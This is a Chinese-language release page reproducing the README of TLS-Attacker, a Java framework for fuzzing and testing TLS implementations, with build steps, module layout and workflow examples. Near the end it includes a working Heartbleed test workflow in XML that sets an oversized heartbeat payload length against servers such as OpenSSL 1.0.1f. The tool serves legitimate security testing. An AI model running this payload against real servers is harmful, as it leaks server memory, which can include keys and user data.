返回更新列表
新发布Jul 29, 2026

TLS-Attacker v7.8.0

基于Java的框架,用于对TLS库进行系统化模糊测试和分析。支持任意协议消息的构造、修改以及对TLS客户端/服务器进行漏洞发现测试。

分享

TLS-Attacker

GitHub release (latest by date) licence Build Status

TLS-Attacker 是一个基于 Java 的框架,用于分析 TLS 库。它能够以任意顺序向 TLS 对等端发送任意协议消息,并通过提供的接口定义其修改。这使开发人员能够轻松定义自定义 TLS 协议流程,并针对其 TLS 库进行测试。

请注意: TLS-Attacker 是一个面向 TLS 开发人员和渗透测试者的研究工具。没有图形界面,也没有绿灯/红灯指示。

编译与运行

为了编译和使用 TLS-Attacker,你需要安装 Java 和 Maven。在 Ubuntu 上,可以通过运行以下命令安装 Maven:

$ sudo apt-get install maven

TLS-Attacker 目前需要 Java JDK 21 才能运行。

如果你有正确的 Java 版本,可以从 TLS-Attacker 目录运行 Maven 命令:

$ git clone https://github.com/tls-attacker/TLS-Attacker.git
$ cd TLS-Attacker
$ mvn clean install

或者,如果你赶时间,可以通过以下命令跳过测试:

$ mvn clean install -DskipTests=true

生成的 jar 文件位于 "apps" 文件夹中。

如果你想将此项目作为依赖项使用,则无需自行编译,可以直接按如下方式将其包含在你的 pom.xml 中。

<dependency>
    <groupId>de.rub.nds.tls.attacker</groupId>
    <artifactId>tls-attacker</artifactId>
    <version>7.0.0</version>
    <type>pom</type>
</dependency>

TLS-Attacker 附带了一些演示应用程序,可让你轻松访问 TLS-Attacker 的功能。

你可以使用以下命令将 TLS-Attacker 作为客户端运行:

$ cd apps
$ java -jar TLS-Client.jar -connect [host:port]

或者作为服务器运行:

$ java -jar TLS-Server.jar -port [port]

尽管这些示例应用程序本身非常强大,但 TLS-Attacker 在作为编程库使用时才能发挥其全部潜力。

代码结构

TLS-Attacker 由多个(Maven)项目组成:

  • TLS-Client:客户端示例应用程序
  • TLS-Core:协议栈和 TLS-Attacker 的核心
  • TLS-Mitm:用于中间人工作流的原型
  • TLS-Server:服务器示例应用程序
  • TLS-Proxy:将 TLS-Attacker 用于 SSLSockets
  • TraceTool:检查并修改 TLS-Attacker 工作流跟踪
  • Transport:用于底层协议的传输工具
  • Utils:工具类集合

TLS-Attacker 设计

你可以在 Wiki 中找到有关这些模块的更多信息。

功能特性

目前支持以下功能:

  • SSL 3、TLS 版本 1.0(RFC-2246)、1.1(RFC-4346)、1.2(RFC-5246)和 1.3(RFC-8446)
  • SSL 2(部分支持)
  • (EC)DH(E)、RSA、PSK、SRP、GOST 和 ANON 密钥交换算法
  • CBC、AEAD 和流密码(AES、CAMELLIA、DES、3DES、IDEA、RC2、ARIA、GOST_28147_CNT_IMIT、RC4、SEED、NULL)
  • 约 300 种密码套件,约 30 种扩展
  • 客户端和服务器
  • HTTPS
  • 包含超过两方的工作流
  • 大量扩展
  • 令牌绑定(EC)和基于 HTTP 的令牌绑定
  • Socket
  • TLS 1.3 0-RTT
  • STARTTLS
  • ...

使用示例

这里我们提供一些使用 TLS-Attacker 的简单示例。

首先,你需要启动一个 TLS 服务器(请不要使用公共服务器)。如果之前没有运行过 keygen.sh 脚本,请先运行。例如,你可以使用 OpenSSL 测试服务器:

$ cd TLS-Attacker/resources
$ openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem

此命令在 4433 端口上启动一个 TLS 服务器。

如果你想连接到一个服务器,可以使用以下命令:

$ cd TLS-Attacker/apps
$ java -jar TLS-Client.jar -connect localhost:4433

注意:如果此握手失败,很可能是因为你没有指定具体的密码套件。TLS-Attacker 不会完全尊重服务器选择的密码套件。

你可以使用不同的密码套件、TLS 版本,或连接到不同的端口,使用以下参数:

$ java -jar TLS-Client.jar -connect localhost:4433 -cipher TLS_RSA_WITH_AES_256_CBC_SHA -version TLS11

如果你是一位更有经验的开发者,你可以通过编写 Java 代码来创建自己的 TLS 消息流。例如:

Config config = Config.createConfig();
WorkflowTrace trace = new WorkflowTrace();
trace.addTlsAction(new SendAction(new ClientHelloMessage()));
trace.addTlsAction(new ReceiveAction(new ServerHelloMessage()));
State state = new State(config, trace);
DefaultWorkflowExecutor executor = new DefaultWorkflowExecutor(state);
executor.executeWorkflow();

TLS-Attacker 使用 WorkflowTrace 的概念来定义“TLS 消息流”。WorkflowTrace 由一系列动作组成,这些动作会依次执行。虽然典型的“TLS 消息流”只需要 SendAction 和 ReceiveAction,但框架并不止于此,还实现了许多其他不同的动作,可用于执行更加任意的消息流。当前已实现的动作列表及其说明可以在 Wiki 中找到。

我们知道很多人不喜欢 Java。因此,你也可以使用 XML 结构,并通过 XML 运行自定义的 TLS 协议:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <!-- 发送 ClientHello -->
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <EllipticCurves/>
                    <SignatureAndHashAlgorithmsExtension/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ClientHello>
        </configuredMessages>
        <configuredRecords>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- 接收服务器响应 -->
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    
    <!-- 发送客户端密钥交换并完成 -->
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange/>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
        <configuredRecords>
            <record/>
            <record/>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- 接收服务器完成消息 -->
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
</workflowTrace>

假设此 XML 结构位于 TLS-Attacker/apps/workflow.xml,你只需执行:

$ java -jar TLS-Client.jar -connect [host]:[port] -workflow_input workflow.xml

协议攻击者/分层系统

TLS-Attacker 最初设计用于攻击 TLS 协议,但它也能够支持任意协议。为此,TLS-Attacker 为每个连接分配一个层栈。这个层栈由用户希望使用的不同协议层组成。通过层栈,用户可以按任意顺序添加 DTLS 或 HTTP(更多协议正在开发中)等层。

要使用层栈发送和接收任意消息,用户可以为每一层定义配置。这些配置指定了要发送或接收的消息。这也允许用户为每一层指定特定于该层的消息/数据容器。例如,用户可以指定 TLS-Attacker 应该发送的 TLS 消息和记录。TLS-Attacker 会自动将给定的 TLS 消息封装到记录中。

可修改变量

TLS-Attacker 使用可修改变量的概念,允许在运行时对预定义工作流进行修改。可修改变量允许在基本类型的值实际设置之前或之后对其进行修改。当确定其实际值并尝试通过 getter 访问该值时,原始值将以相应的修改形式返回。有关此概念的更多详细信息,请访问 https://github.com/tls-attacker/ModifiableVariable。

ModifiableInteger i = new ModifiableInteger();
i.setOriginalValue(30);
i.setModification(new AddModification(20));
System.out.println(i.getValue());  // 50

在此示例中,我们定义了一个新的 ModifiableInteger 并将其值设置为 30。接下来,我们定义了一个新的修改 AddModification,它简单地返回两个整数的和。我们将其值设置为 20。如果执行上述程序,将输出结果 50。

当然,我们可以在构建 TLS 工作流时使用这个概念。想象一下,你想测试服务器是否存在心血漏洞。为此,你需要在心跳请求中增加有效载荷长度。使用 TLS-Attacker,你可以按如下方式操作:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <HeartbeatExtension/>
                    <EllipticCurves/>
                </extensions>
            </ClientHello>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange>
                <computations/>
            </RSAClientKeyExchange>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <Heartbeat>
                <payloadLength>
                    <modifications>
                        <integerExplicitValueModification>
                            <explicitValue>20000</explicitValue>
                        </integerExplicitValueModification>
                    </modifications>
                </payloadLength>
            </Heartbeat>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <Heartbeat/>
        </expectedMessages>
    </Receive>
</workflowTrace>

如你所见,我们明确将心跳消息的有效载荷长度增加了 20000。 如果你对易受攻击的服务器(例如 OpenSSL 1.0.1f)运行此攻击,应该会看到有效的心跳响应。

更多攻击示例和关于 TLS-Attacker 的进一步说明可以在 wiki 中找到。

高级功能

分类